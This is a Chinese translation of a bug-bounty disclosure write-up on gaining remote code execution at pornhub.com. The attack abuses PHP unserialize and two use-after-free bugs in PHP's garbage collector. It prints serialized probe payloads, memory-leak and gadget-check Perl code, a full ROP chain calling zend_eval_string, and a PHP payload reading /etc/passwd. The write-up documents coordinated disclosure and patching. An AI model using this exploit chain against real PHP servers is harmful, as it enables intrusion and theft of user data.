利用 PHP 漏洞黑掉 Pornhub 网站并赚了 2 万美元
- 发表于
- 周边
所有这一切都是从审计Pornhub开始,然后是PHP,最后是贯穿两者…
内容太长;请不要看:
- 我们已经在pornhub.com上获得了远程代码执行能力,并且在 Hackerone 上获得了$ 20,000的错误赏金。
- 我们在PHP的垃圾收集算法中发现了两个释放后使用的漏洞。
- 这些漏洞可以通过PHP的unserialize函数远程利用。
- 我们还被互联网Bug奖赏委员会(c.f.Hackerone )授予了2,000美元的赏金。
版权信息:
这个项目由DarioWeißer( @haxonaut ), cutz 和Ruslan Habalov(@ @evonide )实现。 非常感谢出席cutz共同撰写本文。
Pornhub的bug赏金计划以及 Hackerone 相对高的奖励吸引了我们的注意。 这就是我们为什么采取从一个高级攻击者的角度出发的原因,我们全部的意图是尽可能深入系统。并专注于一个主要目标:获得远程代码执行能力。 因此,我们想尽一切办法来攻击基于PHP创建的Pornhub。
错误发现
经过对平台的分析,我们很快检测到网站上的使用的是 反序列化。从而会导致多个路径(无论你在哪里都可以上传热图片等)都会受到影响,例如:
- http://www.pornhub.com/album_upload/create
- http://www.pornhub.com/uploading/photo
在所有情况下,名为“cookie”的参数从POST数据中取消序列化,然后后通过Set-Cookie头反映。 示例请求:
1 2 3 4 5 6 |
POST /album_upload/create HTTP/1.1 ... tags=xyz&title=xyz...&cookie=a:1:{i:0;i:1337;} Response Header: Set-Cookie: 0=1337; expires |
这些可以通过发送包含对象的特制数组进一步验证:
1 |
tags=xyz&title=xyz...&cookie=a:1:{i:0;O:9:"Exception":0:{}} |
响应布局:
1 2 3 4 5 6 7 |
0=exception 'Exception' in /path/to/a/file.php:1337 Stack trace: #0 /path/to/a/file.php(1337): unserialize('a:1:{i:0;O:9:"E...') #1 {main} |
初看起来,可能觉得这是无害信息的披露。但是一般来说,对用户的输入进行非序列化并不是一个好主意。
标准的开发技术需要所谓的面向属性的编程(POP),其涉及到滥用已经存在的类以及具体定义的“神奇的方法”,其目的是为了触发不必要和恶意的代码路径。但 不幸的是,我们在一般情况下很难收集任何关于Pornhub的框架和PHP对象的信息。我们对常见框架的多个类进行了测试 ----都没有成功。
漏洞描述
反序列化的核心算法是很复杂的 ,因为它涉及到PHP 5.6中1200多行的代码。 此外,许多内部PHP类都有自己的反序列化方法。 PHP支持的数据结构如对象,数组,整数,字符串, 或者甚至引用都是很安全的 ,所以PHP的追踪记录可以看到缺陷以及内存损坏趋势这并不奇怪。 遗憾的是,对于较新版本的PHP(如PHP 5.6或PHP 7),此类类型的漏洞并不可知,特别是因为反序列化安全问题在过去已经引起了很多关注(例如 phpcodz )。 因此,审核它就如同挤压已经紧紧挤压过的柠檬。 最后,经过这么多的关注以及这么多的安全修复,其潜在漏洞的应该已经排除,这样看来它应该是安全的,不是吗?
反序列化安全测试
为了找到答案,Dario开发了一个fuzzer, 专门针对序列化字符串精心定制的fuzzer测试工具 。 使用PHP 7运行fuzzer会立即导致PHP 7的异常。 当我们对Pornhub的服务器测试时,这个问题没有重现的。 因此,我们怀疑它使用的是PHP 5版本。
然而,我们运行fuzzer工具对新版本的PHP5做测试时,除了生成了1TB日志以外,没有取得任何进展。最终,在进行了更大量的测试之后我们偶然重现了那个异常。我们需要搞明白几个问题:这个异常是否和完全性相关?如果存在,我们是不是只能在本地利用,还是可以远程?为了进一步进行复杂的测试,我们生成了200多KB非打印数据。
异常行为分析
分析潜在问题需要大量的时间。毕竟,一旦成功,我们就可以提取一个内存损坏漏洞的简单证据----一个被称为 use-after-free 的漏洞!经过进一步的测试研究,我们发现问题的根本原因可能是PHP的垃圾回收算法,一个和反序列化完全无关的PHP组件。然而,两个组件只在反序列化工作完成之后才有交互。因此,它不适合远程利用。经过进一步的分析,对问题的根本原因有了更深的理解,在一系列辛苦工作之后,我们发现了一个类似use-after-free的漏洞,而且似乎可以远程利用。
漏洞链接:
PHP漏洞的发现和及其复杂的过程应该分开成两篇文章来写。更多信息参见Dario的文章 fuzzing unserialize write-up。
此外, 关于破解PHP垃圾收集算法的完整文章将在UTC时间 25.07.2016 1 p.m. 发布。
漏洞的利用
即使这是个很有潜力的use-after-free漏洞,但非常难以利用。特别是, 它涉及到多个阶段。 因为我们的主要目标是执行任意代码,我们把CPU指令集设定为x86_64,这会遇到下面一些困难:
- 堆栈和堆(也包括任何潜在的用户输入)以及任何其他可写入段被标记为不可执行(参见:可执行空间保护)。
- 即使你能够控制指令指针,你也需要知道你想要执行什么,也就是说,你需要一个可执行内存段的有效地址。 这在调用libc函数执行一个shell命令时很常见 。 在PHP的上下文中,通过调用zend_eval_string可以获得执行环境,例如:你在PHP脚本中可以写你 “eval(‘echo 1337;’);”,所以你可以执行任意的PHP代码,无需使用其他库。
第一个问题可以通过使用 返回导向编程 (ROP)来克服,在这里您可以利用二进制本身或其库中已有的和可执行的内存片段。 然而,第二个问题需要找到zend_eval_string的正确地址。 通常,当动态链接的程序被执行时,加载器将把进程映射到0x400000,这是x86_64上的标准加载地址。 如果你以某种方式已经获得了正确的PHP可执行文件(例如, 例如通过目标代码寻找可执行包 ),您可以在本地查找您想要的任何函数的偏移量。 我们发现Pornhub使用的是php5-cgi的自定义编译版本,因此很难确定确切的PHP版本,从而获取整个PHP进程的内存布局的信息。
PHP二级制溢出和指针
利用PHP的use-after-free漏洞通常遵循一些共同的规则。 一旦你能注入内存,会被作为一个内部PHP变量(所谓的zvals)使用, 你可以生成向量,用来读取任意内存信息,或者触发执行代码。
准备内存泄露
如前所述,我们需要获得有关Pornhub的PHP二进制文件的更多信息。 因此,第一步是滥用use-after-free来注入表示PHP字符串的zval。 对于PHP 5.6,zval结构的定义如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
"Zend/zend.h" [...] struct _zval_struct { zvalue_value value; /* value */ zend_uint refcount__gc; zend_uchar type; /* active type */ zend_uchar is_ref__gc; }; |
而zvalue_value字段定义为 union ,因此这很容易造成类型篡改(或类型混淆)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
"Zend/zend.h" [...] typedef union _zvalue_value { long lval; /* long value */ double dval; /* double value */ struct { char *val; int len; } str; HashTable *ht; /* hash table value */ zend_object_value obj; zend_ast *ast; } zvalue_value; |
一个PHP字符串变量是一个类型6的zval,因此,它将包含一个字符指针和一个长度字段的结构体做为一个联合体。所以构造一个字符变量,可以从任意点开始,并且可以拥有任意长度,可以在Pornhub的setcookie()被调用时在响应头部注入zval,从而得到一个强大的信息溢出工具。
寻找PHP的镜像基址
通常,可以通过泄漏二进制开始,如前所述,从0x400000开始。 不幸的是,Pornhub的服务器使用保护机制,如 PIE 和 ASLR ,它们随机生成进程的镜像基址和共享库。这种方式越来越多被发行包做为默认方式所使用,无需依赖代码。
下一个挑战是:找到二进制文件的正确加载地址。
第一个困难是以某种方式获得一个可以开始泄漏的有效的地址。这有助于了解PHP内存管理的一些细节。特别是,一旦zval被释放,PHP将用先前释放的块的地址重写其前8个字节。因此,获取第一个有效地址的诀窍是创建一个整数zval,释放这个整数zval,最后使用一个悬空指针(dangling pointer)指向这个zval来获取它的当前值。
因为php-cgi从主进程分支实现了多个worker,只要你一直发送相同大小的数据,内存布局永远不会在不同的请求之间发生变化.。这也是为什么我们可以在请求后发送请求,每次通过让假的zval字符串从不同的地址开始泄漏不同部分的内存。然而,获得释放的块的堆地址本身就不足以获得关于可执行位置的任何线索。这是由于在该块的周围没有任何有用的信息。
为了得到有效的地址 ,需要使用相对复杂的技术,它需要在反序列化过程中多次释放和分配PHP结构体(参考: PHP 应用程序中的ROP 幻灯片 67)。 由于我们bug的特性,需要保证复杂性尽可能的低,这让我们有点束手无策了。
通过使用序列化字符串,例如将“i:0;a:0:{}i:0;a:0:{}[…]i:0;a:0:{}”作为我们整体反序列化数据的一部分,就可以在反序列化的时候强制生成很多空数组并在结束时释放他们。在初始化数组时PHP为zval和哈希表生连续分配内存。空数组对应的默认哈希表条目是uninitialized_bucket符号,总之,我们可以获得一些内存片段,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040 [...] 0x7ffff7fc3010: 0x00007ffff7fc2b40 0x0000000000000000 0x7ffff7fc3020: 0x0000000100000000 0x0000000000000000 0x7ffff7fc3030: # <--------- This address was leaked in a previous request. 0x7ffff7fc3040: 0x00007ffff7fc2f48 0x0000000000000000 0x7ffff7fc3050: 0x0000000000000000 0x0000000000000000 [...] 0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820 (gdb) x/xg 0x0000000000eae040 0xeae040 <uninitialized_bucket>: 0x0000000000000000 |
0xeae040是PHP的uninitialized_bucket符号地址,直接指向PHP的 BSS segment . 你可以看到最后的释放块中多次发生。如前所述,很多空数据被释放。因此,利用一些哈希表在栈中保持不变的方法我们可以泄露这些特殊元素。
最后,我们可以从后向前扫描一个页面,利用uninitialized_bucketsymbol地址找到 ELF header :
1 2 3 |
$start &= 0xfffffffffffff000; $pages += 0x1000 while leak($start - $pages, 4) !~ /^\x7fELF/; return $start - $pages; |
泄露有用的PHP二进制段
在这一点上,我们的情况变得更为复杂,因为我们只能泄漏每个请求1 KB的数据(这是由于Pornhub的Web服务器强制的对头部的大小限制)。 PHP二进制文件可以占用大约30 MB的大小。 假设每秒一个请求,泄漏将花费大约8小时20分钟完成。 由于我们害怕我们的剥削过程可能在任何时候中断,因此必须尽可能快速和隐蔽。 这也是为什么我们要提前对需要的会话实施一些启发式的猜测和过滤。 尽管如此,我们还是可以解析在ELF字符串和符号表中引用的任何结构。 还有其他技术,如 ret2dlresolve 允许省略整个泄漏过程,但它们不完全适用于这里,因为他们需要定制更多的数据结构, 需要了解不同的内存寻址知识。
为了得到 zend_eval_string 地址,你首先要偏移32位的ELF程序头部地址,然后向前扫描,直到找到类型为2(PT_DYNAMIC)的程序头部,以获得ELF的动态部分。这部分包含一个指针,指向字符串和符号表(类型为5和6),你可以使用他们的字段大小做完整转移,并获取你需要的函数虚拟地址。或者,你也可以使用哈希表(DT_HASH)更快的查找函数,但在这种情况下无关紧要,因为无论如何你都可以快速遍历表。我们对符号表和提交的数据位置更感兴趣(因为我们可以在后面ROP堆栈使用)。
泄漏我们的POST数据的地址
要获取提供的POST数据的地址,您可以泄漏更多读取到的指针:
1 |
(*(*(php_stream_temp_data *)(sapi_globals.request_info.request_body.abstract)).innerstream).readbuf |
遍历这个链表看起来很复杂,但你只需要引用一些指针和正确的偏移量,你很快就会在栈中找到指向堆内POST数据的标准输入://流。
准备ROP有效负载
第二部分涉及实际控制PHP进程和获得代码执行能力。 为了实现这一点,我们需要讨论如何最先修改指令指针。
接管指令指针
我们调整了有效负载,让它以包含一个伪对象(取代之前使用的字符串zval),并指向一个特制的zend_object_handlers表。 这个表本质上是一个函数指针数组,其结构定义如下面所示:
1 2 3 4 5 6 |
"Zend/zend_object_handlers.h" [...] struct _zend_object_handlers { zend_object_add_ref_t add_ref; [...] }; |
当创建了这样一个伪造的 zend_object_handlers 表,我们就可以很容易地设置我们想要的 add_refhowever值 。 该指针后面的函数通常用来处理对象引用计数器的增量。 一旦将我们创建的伪对象作为参数传递给“setcookie”,就会发生下面的事情:
1 2 3 4 5 6 7 |
#0 _zval_copy_ctor #1 0x0000000000881d01 in parse_arg_object_to_string [...] #5 0x00000000008845ca in zend_parse_parameters (num_args=2, type_spec=0xd24e46 "s|slssbb") #6 0x0000000000748ad5 in zif_setcookie [...] #14 0x000000000093e492 in main |
这里,根据“s | sl [...]”,可以看到“setcookie”需要一个字符串作为它的第一和第二个参数(|标记后面是可选参数)。 因此,它将尝试将我们传递的第二个参数传递的作为对象转换成字符串。 最后,再执行_zval_copy_ctorwill:
1 2 3 4 5 6 7 8 9 10 11 |
"Zend/zend_variables.c" [...] ZEND_API void _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC) { [...] case IS_OBJECT: { TSRMLS_FETCH(); Z_OBJ_HT_P(zvalue)->add_ref(zvalue TSRMLS_CC); [...] } |
特别地,这将调用所提供的 add_ref 函数,并将对象的地址作为参数(参见 PHP 内部书籍 – Copying zvals 查看说明)。 相应的组件如下所示:
1 2 |
<_zval_copy_ctor_func+288>: mov 0x8(%rdi),%rax <_zval_copy_ctor_func+292>: callq *(%rax) |
这里,RDI是 _zval_copy_ctor_func 函数的第一个参数,它也是我们的伪造对象zval(上面的源代码中的zvalue)的地址。 如前面在 _zvalue_value 类型定义中所见,对象包含一个类型为zend_object_value,命名为obj的元素,其定义如下:
1 2 3 4 5 6 |
"Zend/zend_types.h" [...] typedef struct _zend_object_value { zend_object_handle handle; const zend_object_handlers *handlers; } zend_object_value; |
因此,0x8(%rdi)将指向_zend_object_value中的第二个条目,它对应于我们的第一个zend_object_handlers条目的地址。 如前所述,此条目是我们自定义的add_ref函数,并且也解释了为什么我们可以直接控制RAX。
为了绕过先前讨论的没有内存执行权限的问题,我们必须获得更多的信息。 特别是,我们需要收集有用的小组件,目的是为了启动我们的ROP链,因为到目前为止我们还没有足够的控制权限。
泄漏ROP小组件
现在我们可以分别设置add_ref指针或RAX来接管指令指针。 尽管这只是一个起点,但它不能确保所有提供的ROP小组件都被执行,因为从第一个小组件返回时,CPU会从当前堆栈弹出下一条指令的地址。 我们没有对这个栈的任何控制,因此,有必要将栈转移到我们的ROP链中。 这就是为什么下一步是将RAX复制到RSP并从那里继续。 使用本地编译版本的PHP,我们扫描了适合堆栈的小组件,发现 php_stream_bucket_split 包含以下代码:
1 2 3 4 5 6 7 |
<php_stream_bucket_split+381>: push %rax # <------------ <php_stream_bucket_split+382>: sub $0x31,%al <php_stream_bucket_split+384>: rcrb $0x41,0x5d(%rbx) <php_stream_bucket_split+388>: pop %rsp # <------------ <php_stream_bucket_split+389>: pop %r13 <php_stream_bucket_split+391>: pop %r14 <php_stream_bucket_split+393>: retq |
这可以很好的修改RSP,指向我们POST数据所产生的ROP链,有效的连接到所有提供小组件的调用。
根据x86_64调用约定,函数的前两个参数是RDI和RSI,因此我们也必须找到pop%rdi和pop%rsi 组件。 这些都很常见,因此也很容易找到。 但是,我们还不知道这些小组件是否真的存在于Pornhub的PHP版本。 因此,我们不得不手动验证他们的存在。
验证所需ROP组件的存在
infoleak向量允许我们快速转储 php_stream_bucket_split 的反汇编,并检查我们的构建的小组件是否可以在远程版本上使用。 幸运的是,只需要修正很少的组件偏移量。 最后,我们实施了一些检查来确认所有地址是否都正确:
1 2 3 4 5 6 7 8 9 10 11 12 |
my $pivot = leak($php_base + 0x51a71f, 13); my $poprdi = leak($php_base + 0x2b904e, 2); my $poprsi = leak($php_base + 0x50ee0c, 2); die '[!] pivot gadget doesnt seem to be right', $/ unless ($pivot eq "\x50\x2c\x31\xc0\x5b\x5d\x41\x5c\x41\x5d\x41\x5e\xc3"); die '[!] poprdi gadget doesnt seem to be right', $/ unless ($poprdi eq "\x5f\xc3"); die '[!] poprsi gadget doesnt seem to be right', $/ unless ($poprsi eq "\x5e\xc3"); |
创建 ROP 堆栈
最后的ROP负载将有效地执行zend_eval_string(代码); exit(0); 如下面的代码片段所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
my $rop = ""; $rop .= pack('Q', $php_base + 0x51a71f); # pivot rsp $rop .= pack('Q', 0xdeadbeef); # junk $rop .= pack('Q', $php_base + 0x2b904e); # pop rdi $rop .= pack('Q', $post_addr + length($rop) + 8 * 7); # pointing to $php_code $rop .= pack('Q', $php_base + 0x50ee0c); # pop rsi $rop .= pack('Q', 0); # retval_ptr $rop .= pack('Q', $zend_eval_string); # zend_eval_string $rop .= pack('Q', $php_base + 0x2b904e); # pop rdi $rop .= pack('Q', 0); # exit code $rop .= pack('Q', $exit); # exit $rop .= $php_code . "\x00"; |
由于堆栈中包含 pop %r13 和 pop %r14 ,所以剩余链中的0xdeadbeefpadding必须继续设置RDI。 作为 zend_eval_string 的第一个参数,RDI需要引用要执行的代码。 这段代码位于ROP链后面。 并且还要求在每个请求之间保持发送完全相同的数据量,使得所有计算的偏移量保持正确。 这是通过在任何有需要的地方设置不同的paddings来实现的。
下一步是最后通过返回PHP解释器来触发代码执行。 实际上, 其他类似return2libc的技术也相当适用,但会造成一些其他问题,不过在PHP环境中很容易解决。
回到PHP
能够执行任意PHP代码是一个重要的步骤,但是能够查看其输出是同等的重要, 除非你可以通过其他方式接收响应 。 所以剩下的棘手的部分就是用某种方式在Pornhub的网站上的显示结果。
PHP结束清理
通常php-cgi将生成的内容转发到Web服务器,以便它显示在网站上,但是破坏了控制流会触发一个严重的异常从而终止了PHP的运行,所以该结果永远不会到达HTTP服务器。 为了解决这个问题,我们简单地告诉PHP使用转发响应,这种响应通常用于HTTP流:
1 2 3 4 5 6 7 8 9 10 |
my $php_code = 'eval(\' header("X-Accel-Buffering: no"); header("Content-Encoding: none"); header("Connection: close"); error_reporting(0); echo file_get_contents("/etc/passwd"); ob_end_flush(); ob_flush(); flush(); \');'; |
这最终允许我们直接获取每个输出的PHP有效载荷,而不必担心当CGI进程发送数据到Web服务器时产生的例程清理问题。 由于降低了潜在错误和崩溃次数,从而进一步增加了隐蔽性。
总而言之,我们的有效内容包含一个伪造的对象,其 add_ref 函数指针指向我们的第一个ROP小组件。 下图展示了这个概念:
精心设计的zval对象的最终版本
我们通过POST数据提供的ROP堆栈以及有效负载做了以下事情:
- 伪造对象并将这个伪造的对象做为参数传递给 “setcookie”。
- 这会调用我们提供的add_ref函数,例如:它可以让我们获取程序计数器。
- 然后,我们的ROP链准备好了所有讨论到的寄存器/参数。
- 接下来,我们可以通过调用 zend_eval_string 来执行任意的PHP代码。
- 最后,我们做了PHP结束清理,并且从响应体中获取输出。
一旦运行上面的代码,我们就可以看到Pornhub的'/ etc / passwd'文件了。 由于我们的攻击的天性,我们也能够执行其他命令,或控制PHP运行任意系统调用。 然而,利用PHP很容易做到这一点。 最后,我们揭露了一些关于底层系统的细节,并立即写了一封关于Hackerone的报告提交给Pornhub。
时间表
以下是披露过程的时间表:
- 2016-05-30 黑掉Pornhub并提交该漏洞给 Hackerone之后,几小时之后Pornhub通过移除反序列化调用做了快速修复。
- 2016-06-14 收到$ 20,000的奖励。
- 2016-06-16 提交问题报告给bugs.php.net。
- 2016-06-21 PHP安全代码库修复了两个bug。
- 2016-06-27 收到Hackerone IBB 2,000美元奖励 (一个漏洞1,000美元)。
- 2016-07-22 Ponhub解决了Hackerone上的问题。
结论
我们获得了远程代码的执行权限,并且能够做到以下事情:
- 转储pornhub.com的完整数据库,包括所有敏感的用户信息。
- 跟踪和观察平台上的用户行为。
- 泄漏服务器上所有托管网站的完整的可用源代码。
- 进一步升级到网络或root系统。
当然,上述的事情我们都没有做,我们非常尊重错误奖励计划所设定的范围和限制。此外,我们在PHP垃圾回收算法中还发现了两个的0日漏洞。虽然这些漏洞处于不同的PHP环境,但也可以稳定地泄露远程反序列化内容。
众所周知,对用户输入做反序列化是一个坏主意。 特别是,自从它的第一个漏洞被发现距今已经过去了大约10年。 不幸的是,即使在今天,许多开发人员似乎相信反序列化只是在旧的PHP版本中,或只有在结合不安全的类使用时才是的危险的。 我们真诚地希望消除这种错误的观点。 请给反序列化的棺材钉上最后一颗钉子,使以下的忠告成为历史。
你永远不要对用户输入做序列化处理。认为最新版本的PHP可以提供序列化安全是愚蠢的。避免调用复杂的序列化方法,比如JSON。
现在最新的PHP版本包含该漏洞的修复。所以,你应该对PHP5和PHP7做相应的升级。
非常感谢Pornhub团队:
- 非常礼貌且高效的响应。
- 非常重视安全性(而不是像很多其他的公司在作秀).
- 非常慷慨的赏金20,000美元。.
根据Sinthetic Labs’s 公开Hackerone报告最新的更新,我们满怀感激的看到,这次提交的ShellShock 类漏洞是Hackerone迄今为止史上最高的公开奖金之一。
此外,非常感谢PHP开发人员快速部署修复和互联网Bug赏金委员会授予我们2,000美元。
最后,我们要强调这种方案的必要性。 正如你所看到的,提供高漏洞赏金可以激发安全研究人员在底层软件中发现错误。 这也积极影响者其他网站和无关的服务。
原文连接
的情况下转载,若非则不得使用我方内容。